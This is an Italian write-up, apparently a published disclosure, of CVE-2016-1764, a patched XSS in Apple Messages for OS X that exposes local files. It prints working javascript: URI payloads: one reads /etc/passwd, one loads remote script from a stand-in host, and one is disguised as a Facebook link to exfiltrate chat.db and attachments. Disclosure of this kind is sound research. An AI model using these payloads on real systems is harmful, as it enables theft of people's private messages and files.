moloch--/cve-2016-1764Estrazione dei dati di iMessage tramite XSS
Vendor: Apple
Data di rilascio: 8 aprile 2016
Data della patch: 21 marzo 2016
Sistemi interessati: Messages su OSX Mountain Yosemite, El Capitan
Mentre la maggior parte del recente dibattito su Apple si è concentrato sulla crittografia, l'industria e le forze dell'ordine sembrano aver dimenticato che vulnerabilità applicative più semplici possono essere sfruttate per aggirare del tutto la crittografia. CVE-2016-1764, corretta da Apple a marzo 2016, è un bug a livello applicativo che consente la divulgazione remota in chiaro di tutti i contenuti dei messaggi e degli allegati sfruttando il client iMessage di OS X. Inoltre, non serve una laurea in matematica per sfruttarlo, né richiede una conoscenza approfondita della gestione della memoria, dello shellcode o di complesse catene ROP per bypassare l'ASLR. In realtà, è un bug relativamente semplice che può essere sfruttato da chiunque abbia una conoscenza di base di JavaScript.
Messages (iMessage) per OS X di Apple implementa la propria interfaccia utente utilizzando una versione embedded di WebKit; inoltre, Messages su OS X renderizza qualsiasi URI come un link cliccabile <a href=. Un attaccante può creare un semplice URI JavaScript (ad esempio javascript:) che, una volta cliccato, garantisce all'attaccante l'esecuzione iniziale di JavaScript (XSS) nel contesto del DOM dell'applicazione. Sebbene la libreria WebKit embedded utilizzata da Messages per OS X venga eseguita in un'origine applewebdata://, un attaccante può comunque leggere file arbitrari utilizzando richieste XMLHttpRequest (XHR) GET verso un URI file://, poiché non è implementata alcuna same-origin policy (SOP). Abusando di XHR per leggere file, un attaccante può caricare l'intera cronologia delle chat e gli allegati di una vittima su un server remoto alla massima velocità consentita dalla connessione Internet della vittima; l'unica interazione richiesta all'utente è fare clic su un singolo link nella chat. Inoltre, se l'inoltro SMS è attivo, l'attaccante può anche recuperare i messaggi inviati/ricevuti dall'iPhone della vittima.
Se vuoi conoscere tutti i dettagli più spinosi, continua a leggere.
Messages per OS X utilizza una versione embedded di WebKit per gran parte della sua interfaccia utente. Quando i messaggi vengono inviati o ricevuti dall'applicazione, viene inserito HTML nel DOM per renderizzare l'interfaccia utente e qualsiasi allegato/contenuto multimediale inviato. Tutti i messaggi inviati tramite l'applicazione vengono renderizzati in un DOM e, di conseguenza, le comuni vulnerabilità web lato client possono compromettere l'applicazione.
Durante il test del client Messages per OS X, è stato scoperto che schemi di protocollo arbitrari venivano automaticamente convertiti in link e inseriti nel DOM. Ad esempio, i seguenti URI vengono tutti inseriti come link nella WebView quando vengono inviati come messaggi:
test://test
smb://[email protected]
file:///etc
anyurihandler://anycontentafter
Poiché Messages per OS X non implementa una whitelist dei protocolli accettati, un attaccante può inviare alla vittima un messaggio contenente un URI JavaScript javascript:, che verrà convertito in un link cliccabile sulla macchina della vittima.
Una volta cliccato, la WebKit embedded eseguirà puntualmente il JavaScript controllato dall'attaccante nell'origine corrente, ad esempio:
Nota che %0a (cioè \n) viene usato per uscire dal commento JavaScript //, necessario per corrispondere al pattern di collegamento del parser. Una volta interpretato, il codice assomiglia a:
//bishopfox.com/research?
prompt(1)
Facendo clic su questo link, viene attivato un prompt JavaScript all'interno di Messages per OS X:
Tuttavia, Messages per OS X è un'applicazione desktop, non un sito web. Pertanto il JavaScript viene eseguito nel contesto di un'origine applewebdata://:
Tuttavia, il codice dell'attaccante viene eseguito in un'implementazione WebKit completa, quindi XMLHttpRequest è disponibile in fase di runtime. Una delle differenze fondamentali tra una versione embedded di WebKit e un browser web come Chrome o Safari è che la versione embedded non implementa alcuna same-origin policy (SOP), trattandosi di un'applicazione desktop nativa. Un attaccante può sfruttare questo per leggere file dal filesystem locale senza violare la same-origin policy, inviando richieste XMLHttpRequest GET verso URI file://. L'unico requisito è che l'attaccante debba conoscere il percorso completo del file; i percorsi relativi del filesystem (ad esempio ~/.ssh/id_rsa) non possono essere utilizzati.
Ad esempio, il seguente JavaScript può essere eseguito dal DOM dell'applicazione Messages per leggere il file /etc/passwd:
function reqListener () {
prompt(this.responseText);
// send back to attackers server here
}
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "file:///etc/passwd");
oReq.send();
Convertito in un payload URI, il codice appare come segue:
javascript://bishopfox.com/research?%0d%0afunction%20reqListener%20()%20%7B%0A%20%20prompt(this.responseText)%3B%0A%7D%0Avar%20oReq%20%3D%20new%20XMLHttpRequest()%3B%0AoReq.addEventListener(%22load%22%2C%20reqListener)%3B%0AoReq.open(%22GET%22%2C%20%22file%3A%2F%2F%2Fetc%2Fpasswd%22)%3B%0AoReq.send()%3B
Quando viene cliccato nell'applicazione Messages, appare il seguente prompt:
Poiché il vettore sopra è piuttosto lungo e appare eccessivamente sospetto, è possibile accorciare l'URI caricando dinamicamente JavaScript da un dominio e includendolo nel DOM. Ad esempio, il seguente vettore inietta il JavaScript da http://example.com/1.js nel DOM di Messages:
javascript://bishopfox.com/research?%0a%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fexample.com%2f1.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29
Il file JavaScript referenziato //example.com/1.js nel vettore sopra può contenere istruzioni JavaScript arbitrarie di lunghezza arbitraria.
Tuttavia, la sandbox dell'applicazione OS X limitava l'accesso al filesystem solo a ~/Library/Messages/* e ad alcune altre directory di sistema non utente come /etc/.
Quando messages e allegati vengono ricevuti da Messages su OS X, vengono salvati nella seguente directory:
/Users/<username>/Library/Messages/*
Il contenuto testuale di questi messaggi e altri metadati sono memorizzati in un database SQLite situato in:
/Users/<username>/Library/Messages/chat.db
Questo database contiene anche le posizioni di tutti gli allegati presenti sulla macchina dell'utente.
Per rubare questo database e, successivamente, tutti gli allegati mai ricevuti o inviati da una vittima, è necessario un payload di attacco più avanzato.
I seguenti passaggi devono essere eseguiti prima che un attaccante possa esfiltrare con successo i dati:
~ non può essere usato)chat.db, ad esempio /Users/ExampleUser/Library/Messages/chat.dbXMLHttpRequest per leggere il database chat.db e interrogarlo per i percorsi dei file degli allegatiXMLHttpRequest o WebSockets se si desidera un accesso in tempo reale.Possiamo determinare l'utente attualmente connesso richiedendo e successivamente analizzando /Library/Preferences/com.apple.loginwindow.plist; questo file è comodamente leggibile dalla sandbox dell'applicazione OS X. Da qui è banale costruire il percorso completo del chat.db dell'utente.
Una volta che il file del database è stato esfiltrato con successo, può essere passato a uno script server-side personalizzato che estrae i percorsi completi degli allegati inviati e ricevuti dalla vittima, trovati nella tabella attachments del database.
Questi percorsi completi vengono recuperati dal payload JavaScript dannoso e poi utilizzati per esfiltrare i file degli allegati dalla macchina della vittima tramite XMLHttpRequest.
Successivamente l'attaccante fa un po' di offuscamento per rendere l'URL un po' più credibile:
javascript://www.facebook.com/photo.php?fbid=111789595853599&set=a.111055039260388.1073741826.100010676767694&type=3&theater%0A%28function%28s%29%7Bs.src%3D%27http%3A%2f%2fyourhostname%3A8888%2ff%2fpayload.js%27%3Bdocument.body.appendChild%28s%29%7D%29%28document.createElement%28%27script%27%29%29
Se la vittima facesse clic sull'URI sopra nell'applicazione Messages per OS X, l'intera cronologia delle chat della vittima e tutti gli allegati associati verrebbero inviati all'attaccante.
JavaScript è ovunque
Le vulnerabilità della sicurezza delle applicazioni web non sono più limitate al solo browser, ma hanno trovato la loro strada anche nelle applicazioni native. Sebbene possa essere produttivo per gli sviluppatori utilizzare tecnologie web come WebKit, o la sua controparte ben più pericolosa nw.js, per creare applicazioni desktop, è comunque necessario seguire le best practice di sicurezza delle applicazioni web.